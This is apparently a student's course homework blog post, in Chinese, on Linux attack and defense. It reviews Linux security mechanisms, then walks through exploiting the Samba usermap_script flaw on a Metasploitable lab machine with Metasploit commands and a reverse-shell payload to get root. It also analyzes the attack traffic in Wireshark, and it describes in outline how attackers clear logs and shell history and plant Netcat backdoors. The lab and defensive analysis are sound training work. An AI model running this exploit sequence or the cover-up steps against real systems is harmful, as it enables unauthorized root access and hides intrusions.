20211902 毕鑫杰 2021-2022-2 《网络攻防实践》第九周作业

一、知识梳理

1、Linux操作系统基本框架概述

(1)Linux系统结构

  • 进程与线程管理机制:抢占式多用户多进程模式

  • 内存管理机制:允许多个进程安全地共享物理内存区域。

  • 文件系统管理机制:虚拟文件管理VFS机制,支持数十种不同类型的逻辑文件系统。

  • 设备控制机制:设备驱动程序处理或管理硬件控制器的软件,本质是特权的、驻留内存的低级的硬件控制例程的共享库。

  • 网络机制:内核中网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。

  • 系统调用机制:系统调用接口,允许应用程序透过这层接口来访问硬件设备和其他系统资源。系统调用通过软中断实现。

(2)Linux的系统结构内核的总体结构如下图所示:

2、Linux系统远程攻防技术

(1)Linux远程口令字猜测攻击

  • 利用Linux系统上的finger、rusers和sendmail之类的服务列举出目标系统上的用户账户名,即可猜测相关口令

  • Linux系统上的HTTP/HTTPS、FTP等网络服务拥有自己的用户账户体系和身份认证机制,可通过远程口令猜测获得网络服务的访问权,从而获取系统的本地访问权。

  • 远程猜测口令工具常用的有Brutus、THC Hydra、Cain and Abel等。

  • 对于远程口令猜测攻击的最佳防御措施就是使用不易猜中的强口令字

(2)Linux网络服务远程渗透攻击

  • Linux内核中的网络协议栈攻击

  • LAMP WEB网站中的网络服务攻击

  • 电子邮件收发服务攻击

  • FTP、Samba等文件共享服务攻击

3、Linux系统本地安全攻防技术

(1)Linux系统上的消踪灭迹

  • 攻击者在攻陷Linux系统后,通常不希望给系统管理员留下自己的入侵记录,因而往往会去清理系统上的日志目录,从而有效地抹除掉自己的行动踪迹。

  • 攻击者还需要清理的是自己在shell程序中所输入的命令历史记录,shell是计算机用来解释你输入的命令然后决定进行何种处理的程序,Linux系统中的很多shell程序都记录运行过的历史命令,以提供检索和重复执行命令的功能。

(2)Linux系统远程控制后门程序

  • 特洛伊木马化的系统程序

  • 命令行后门工具:提供远程命令行shell的访问,通常是使用Netcat等后门工具在系统上运行,开放监听一个TCP端口,在接收到请求之后返回一个Linux系统shell与客户端进行交互。

  • 图形化后门工具:最为常用的是图形化远程控制免费软件VNC。

4、Linux操作系统安全机制

(1)Linux身份认证机制

Linux是一个多用户多任务的操作系统,通过创建多种角色类型的用户和用户组来进行用户身份管理

  • 用户:执行进程完成特定操作任务的主体,包括Root根用户、普通用户和系统用户

  • 用户组:具有相同特征的用户账号集合。

  • 本地登录用户认证机制:对用户在控制台登录的认证过程

  • 远程登录用户认证机制:普遍使用SSH服务进行远程用户登录,有基于口令的身份认证和基于非对称密钥的身份认证

(2)Linux安全审计机制

主要通过三个主要的日志子系统实现

  • 连接时间日志:系统管理员能跟踪谁在何时登录到系统

  • 进程统计日志:为系统中的基本服务提供命令使用统计

  • 错误日志记录:报告值得注意的事件

(3)Linux授权与访问控制机制

虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来进行系统授权和访问控制

  • 文件所有者:该文件属于哪个用户

  • 文件访问权限:通过附带的10个标志位进行设置

  • 文件的特殊执行权限:常见的SUID、SGID权限

 

二、实践内容

(1)使用Metasploit进行Linux远程渗透攻击

任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;

②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;

③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);

④设置渗透攻击参数(RHOST,LHOST,TARGET等);

⑤执行渗透攻击;

⑥查看是否正确得到远程Shell,并查看获得的权限。

(2)实践作业:攻防对抗实践

  • 攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。

  • 防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息

 

三、实践过程

 

 (1)使用Metasploit进行Linux远程渗透攻击

任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;

②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;

③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);

④设置渗透攻击参数(RHOST,LHOST,TARGET等);

⑤执行渗透攻击;

⑥查看是否正确得到远程Shell,并查看获得的权限。

1. 在kali中输入msfconsole命令进入Metasploit

 

 

 2. 输入search usermap指令来搜索渗透模块,结果如下图

 

 

 3. 输入use exploit/multi/samba/usermap_script使用渗透模块,输入show payloads指令获取攻击负载模块列表,并选择攻击负载模块,reverse tcp是指反向TCP连接,反向TCP:在正常转发连接中,客户端是通过服务器的开放端口连接到服务器的,但在反向连接的情况下,客户端会主动打开服务器上的端口。反向连接最常见的用途就是绕过防火墙和路由器的安全限制。在计算机科学与电信领域,负载(Payload)是数据传输中所欲传输的实际信息,通常也被称作实际数据或者数据体,通俗一点讲,在程序的世界里,payload(有效载荷)就是对于接收者有用的数据。

 

 

 

 

 

 4. 输入指令set PAYLOAD cmd/unix/reverse来设置有效的攻击载荷

 

 

 5.  输入指令set lhost 192.168.200.2设置攻击机地址,set rhost 192.168.200.3 设置靶机地址

 

 

 6.输入指令show options看信息设置正确

 

 

 7. 启动攻击,攻击成功后使用指令whoami 发现执行权限是root。使用指令ifconfig来查看靶机网络状态

 

 

 

(2)实践作业:攻防对抗实践

  • 攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。

  • 防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息

 1.  同(1)中先输入msfconsole进入Metasploit、选择攻击负载模块、设置攻击机/靶机地址、查看payload状态,看信息设置是否正确

 

 

 

2、在run之前启动wireshark抓包

 

 

 

 

 

 

 3.可以看到首先攻击机向靶机发送一个SMB的Negotiate Protocol Request(协商协议请求)数据报,服务器响应一个SMB的Negotiate Protocol Response(协商协议响应)数据报

 

 

 4. 然后攻击机向靶机发起一个Session setup X request(会话设置请求)数据报,靶机确认身份后返回一个Session Setup X Response(会话设置响应)数据报同意本次连接。

 

 

 

5.  然后是查看攻击发起时间,时间是2022年5月1日晚上8点24分48秒

 

 

 

 

6.  还有源端口、目的端口、源地址、目的地址,它们分别是41423139192.168.200.2192.169.200.3

139端口是一种TCP端口,该端口在你通过网上邻居访问局域网中的共享文件或共享打印机时就能发挥作用copy。139端口一旦被Internet上的某个攻击者利用的话,就能成为一个危害极大的安全漏洞。因为黑客要是与目标主机的139端口建立连接的话,就很有可能浏览到指定网段内所有工作百站中的全部共享信息,甚至可以对目标主机中的共享文件夹进行各种编辑、删除操作,倘度若攻击者还知道目标主机的IP地址和登录帐号的话,还能轻而易举地查看到目标主机中的隐藏共享信息

445端口也是一种TCP端口,该端口在Windows 2000 Server或Windows Server 2003系统中发挥的知作用与139端口是完全相同的。具体地说,它也是提供局域网中文件或打印机共享服务。不过该端口是基于CIFS协议(通用因特网文件系统协议)工作的,而139端口是基于SMB协议(服务器协议族)对外提供共享服务。同样地,攻击者与445端口建立请求连接,也能获得指定道局域网内的各种共享信息

 

 

 

 

 

7、通过命令id查看shell权限账户及其所在的权限组,通过命令whomai查看当前权限账户,可以看到权限为root

 

 

 8. 回到wireshark,找到TCP协议密集的地方,追踪TCP流可以看见之前我们输入的命令

 

 

 

9、还可以看到shellcode,将里面的数据输入base64却依旧不可得明码。

 

 

 

 

 

 

四、学习中遇到的问题及解决

问题:不懂wireshark追踪tcp流的操作获取shellcode信息

解决:询问同学获知:找到tcp协议信息-右键-follow

 

 

 

 

五、学习感想和体会

            本周作业相对于上一星期的实践作业较少和简单,实践操作过程比较流畅,对于使用msfconsole-exploit对linux进行远程透攻击更为熟练了,但对于shellcode的理解还不到位,需要更多的学习和了解。

posted @ 2022-05-01 21:17  再来人  阅读(19)  评论(0编辑  收藏  举报